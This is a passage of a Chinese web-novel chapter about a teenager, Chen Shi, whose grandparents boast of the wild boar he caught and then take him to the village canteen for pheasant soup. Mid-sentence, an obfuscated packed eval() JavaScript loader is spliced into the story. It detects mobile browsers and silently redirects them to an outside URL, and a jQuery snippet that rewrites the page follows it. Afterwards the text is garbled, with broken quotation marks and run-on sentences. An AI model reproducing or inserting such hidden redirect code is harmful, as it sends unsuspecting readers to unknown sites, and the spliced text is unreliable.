猪皮冻可是好玩意。
猪皮的部分凉拌吃,清汤的部分包到包子里去,这样就成了灌汤包,做法其实也并不难,陈识相信以姥姥的手艺,绝对能弄得很好吃!
俩老人不用陈识帮忙。
忙活了大半天时间,直至傍晚时分,这才将这只野猪给处理完。
“爹!娘!”
“快!咱们快去大食堂领汤喝,没准还能见着肉呢!今天咱们打猎队可是端了好几个野鸡窝,抓了十只野鸡,这下咱们全村人都有一口热乎的吃。”
小舅的声音很高亢,满是兴奋。
但是刚进小院,就受到了当头一棒,姥爷一巴掌盖在小舅的头上,虽然不重但还是能够听到一阵清脆的响声。
“小点声儿,小识还在屋里睡觉,要是把他吵醒了,看我咋收拾你。”
姥爷面色严肃,压低声音说道。
“这个点我那外甥还睡呢!啥时候能像他小舅这样勤快点?”
王来福有些嘚瑟,这十只野鸡可是也有他的一份功劳。
然而。
姥姥、姥爷却不屑冷哼,从灶房里拿出一个篮子,里边是处理好的猪肉,包裹的严严实实!
“像你那样勤快?睁大你狗眼看看,这是啥玩意!”
一整个打猎队,都还没他宝贝外孙一个人有用。
王来福愣住了,揉了揉自己的眼睛,“不是?我这是眼花了?不能看错了吧?”
“咋样?我乖孙厉害吧?”
姥姥嘚瑟道。
王来福不信邪,拿起一块猪五花闻了闻,瞪大眼睛,“还真特娘是猪肉啊!这肉怎么来的,咋一整个篮子?咱家这是发了?”
“像这样的篮子,灶房里还有呢!今天咱们家小识可是打了一整只野猪回来,有七八十斤重咧,这里边的二十斤肉,都是小识给咱们家留下来的,以后你要是敢欺负我乖孙,看我咋收拾你个兔崽子!”
姥姥狠狠揪了小舅的耳朵。
王来福龇牙咧嘴,但又满是兴奋,“痛痛痛!还真不是梦啊?咱家也能吃上肉了?哎哟喂!我大外甥真是福星!”
有了猪肉,谁还排队喝汤!
当然。
姥姥、姥爷的性格可不允许浪费,这打猎队他家娃儿可都出了一
份力,就算有了猪肉,野鸡汤也不能随便浪费,喝了对身体可是有好处的!
这个年头,谁还嫌自家粮食多啊?
陈识就躺在屋里姥爷的摇椅上,晃着晃着就不自觉的睡着,听到外边动静以后眼睛一睁,“嘶……我这是睡了多久啊,天都黑了。
他走出屋,一眼便瞧见了满脸兴奋的王来福。
“小舅,你回来啦?大舅他们呢?
陈识第一时间就开口问道。
王来福浑不在意,沉浸在家里有猪肉的喜悦当中,“你大舅他们在村里大食堂呢!
瞧着模样。
应该是没事儿了。
陈识心中一阵庆幸。
“大外甥,你小子厉害啊,连大野猪都能搞回来!
小舅喜不自胜。
陈识则微微一愣,以前不都小外甥、小外甥的叫着吗?现在咋还改口了?
“嗨!也就是运气好。
“运气也是实力的一部分!对了,村里大食堂有野鸡汤喝,我已经喝过了,快带你姥姥、姥爷喝汤去,这野鸡可是有咱们家一份力,你大胆去喝。
野鸡肉虽然少了点,但肯定有营养和油水,他喝完那碗汤,整个人都暖洋洋的。
还能省一顿饭下来。
姥姥、姥爷点点头,“来福在家里看门。乖孙,咱们去村里大食堂喝汤,这野鸡汤怎么说都是荤汤,保不齐还能有点肉,喝了能长身体。
王来福:“……
这话怎么听着这么不痛快呢!
要是放在以前,村里大食堂能有野鸡汤喝,家里指不定得多高兴,但现在两位老人也都算是见过世面了,野鸡汤在他们看来居然都算不得什么了,平常心对待。
陈识没有拒绝。
能省点粮食干嘛不去,还费那老劲自己弄吃的?刚好也能让大舅和二舅去姥家拿一下肉。
大食堂。
山云村一共七八十户人家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282649|182532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,少说也有三百号人,野鸡说实话确实不够分的,能分一点肉渣就不错了。不过今天大舅、二舅、三舅都有参加打猎,自然有点小特权,早早准备好了他们一家的野鸡汤,能够瞧见一小块肉。
“爹!娘!这里!
大舅五大三粗的,浑身一种痞气,年轻时
候当过兵还杀过小鬼子不过……他那时候是**。
但那个年头只要是打鬼子都值得报以最大的敬佩!
“老头子旺财喊咱们呢!”
姥姥脸色一喜随后带着陈识他们朝大舅那儿走去。
不多不少正好三碗汤。
大舅给三人分了一下每碗里边还有一小块肉和一些腌野菜
陈识心里边哪能不感动。
一直听娘说她小时候就属大舅和她玩得最好有钱了就给她买糖吃现在看来确实是真的。
不过。
钱怎么来的就没啥好说的。
他可听娘骂过他大舅小时候老偷姥姥的钱然后把锅甩到娘的头上不过也就是这样玩玩闹闹的一家子感情才越来越好。
后来大舅上了战场他娘别提有多担心了。
能活下来都算命大。
“爹!娘!咋样……今天这野鸡我可是亲手抓了三只有能耐吧?”
大舅满脸得意。
这不得有一顿夸啊?
姥爷喝完汤瞥了一眼“不就是几只野鸡么嘚瑟什么也不知道等会来我家一趟看看我乖孙能耐多大你和他一比且还得继续练着呢!”
这话让大舅愕然。
姥姥也补充道:“一会喊上富贵都来家里一趟可别声张哈。”
王富贵。
也就是二舅。
王旺财挠挠头自家大外甥也就十五六岁的年纪他能有啥能耐?不过既然娘都这么说了他也只能照做。
陈识也喝完了手里的汤吃完那一份鸡腿浑身都暖洋洋的像是泡了温泉舒坦得很。
虽然没有明显的饱腹感但度过今晚上没啥问题没必要再费功夫煮东西也嫌麻烦。
早点睡等明天再弄点野猪肉吃岂不是更好?